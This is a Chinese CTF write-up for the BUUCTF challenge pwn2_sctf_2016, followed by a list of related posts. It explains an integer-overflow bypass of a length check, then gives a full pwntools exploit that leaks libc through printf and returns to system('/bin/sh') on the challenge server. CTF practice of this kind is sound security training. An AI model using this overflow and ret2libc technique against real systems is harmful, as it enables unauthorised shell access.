BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)
32位开启了nx保护
没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目
main函数就调用了一个vuln函数
7行的输入函数不是get,是程序自定义的函数get_n
a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)
一开始输入负数,绕过长度限制,造成溢出
利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system(‘/bin/sh’)
from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn',28296)elf=ELF('./pwn2_sctf_2016')printf_plt=elf.plt['printf']printf_got=elf.got['printf']main=elf.sym['main']r.recvuntil('How many bytes do you want me to read? ')r.sendline('-1')#在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击r.recvuntil('\n')payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)r.sendline(payload)r.recvuntil('\n')printf_addr=u32(r.recv(4))libc=LibcSearcher('printf',printf_addr)#泄露libcoffset=printf_addr-libc.dump('printf')#计算system和bin/sh的地址system=offset+libc.dump('system')bin_sh=offset+libc.dump('str_bin_sh')r.recvuntil('How many bytes do you want me to read? ')r.sendline('-1')r.recvuntil('\n')payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)#覆盖返回地址为system(‘/bin/sh’)r.sendline(payload)r.interactive()
有多个匹配的libc版本,选个合适的就行
BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)相关推荐
- BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget
64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Android libcutils库中整数溢出导致的堆破坏漏洞的发现与利用
作者:龚广(@oldfresher) 阅读本文之前,您最好理解Android中的Binder机制.用于图形系统的BufferQueue原理.堆管理器je_malloc的基本原理. 此文介绍了如何利用l ...
- CVE-2020-11945 Squid未授权整数溢出分析
聚焦源代码安全,网罗国内外最新资讯! Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器.Squid 的用途很多,可以作为网页服务器 ...
- CVE-2022-0185 价值$3w的 File System Context 内核整数溢出漏洞利用分析
文章目录 1. 漏洞发现 2. 漏洞分析 3. 漏洞利用方法1-任意写篡改 `modprobe_path` 3-1 泄露内核基址 3-2 任意地址写思路 3-3 FUSE 页错误处理 3-4 完整利用 ...
- 殊途同归的CVE-2012-0774 TrueType字体整数溢出漏洞分析
1. 前言 官方的漏洞通报中,关于这个漏洞的信息其实很少: Integer overflow in Adobe Reader and Acrobat 9.x before 9.5.1 and 10.x ...
- 转载:力扣:整数翻转(难点:整数溢出)
(力扣)LeetCode刷题之整数反转 陈鹏 既存一息,多言无益. 关注他 8 人赞同了该文章 给出一个 32 位的有符号整数,你需要将这个整数中每位上的数字进行反转. 示例 1: 输入: 123 ...
- C++两个整数的总和是否为整数溢出的算法实现(附完整源码)
C++两个整数的总和是否为整数溢出的算法实现 C++两个整数的总和是否为整数溢出的算法实现完整源码(定义,实现,main函数测试) C++两个整数的总和是否为整数溢出的算法实现完整源码(定义,实现,m ...
- 语言余一个负数_C语言学习日记(8)——整数溢出
小时候喜欢玩电子计算器,觉得很神奇,想要算什么数,立刻就能算出来.当时看着计算器的液晶屏幕就想,如果算一个很大的数,超过了屏幕上面数字的位数,会怎么样呢?试了以后结果是INF,那就是无穷大了.虽然当时 ...
最新文章
- 绘制多边形_PS学习教程!教你绘制低多边形星空效果熊猫头像
- 本地复制不能粘贴到服务上
- 上所说的计算机主机是什么意思,通常所说的主机指什么
- pythonsuper函数_认识python中的super函数
- Android传感器开发详解
- 微软 PowerBI 被评为商业智能领导者-13年的企业产品奋斗史解读
- jx8net一定在所有的方方面面都更坚强更勇敢了吧
- 我在开发中所遇到的iOS7新特性以及iOS7与iOS6的适配问题总结
- baum welch java_Baum Welch估计HMM参数实例
- QTQString(UTF8)数据转GBK
- 大数据分析平台搭建指南
- Tasker Android系统增强神器,Android系统增强神器 Tasker
- 三位数除以两位数竖式计算没有余数_四年级上册数学三位数除两位数练习题没有余数...
- OOALV进阶版:实现一个屏幕下展示多个ALV,跳转网页
- 【精】JAVA各大厂问题汇总-HELLO XF
- 微信为什么使用 SQLite 保存聊天记录
- [网鼎杯 2020 白虎组]PicDown(精讲)
- 酒吧类型与其娱乐项目设置
- C语言中的二分查找法
- 雨量水位监测站 水情监测